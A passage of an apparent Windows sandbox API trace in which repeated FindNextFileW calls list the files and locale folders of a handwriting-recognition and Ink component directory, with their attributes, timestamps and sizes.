	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1
	[0050.814] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1
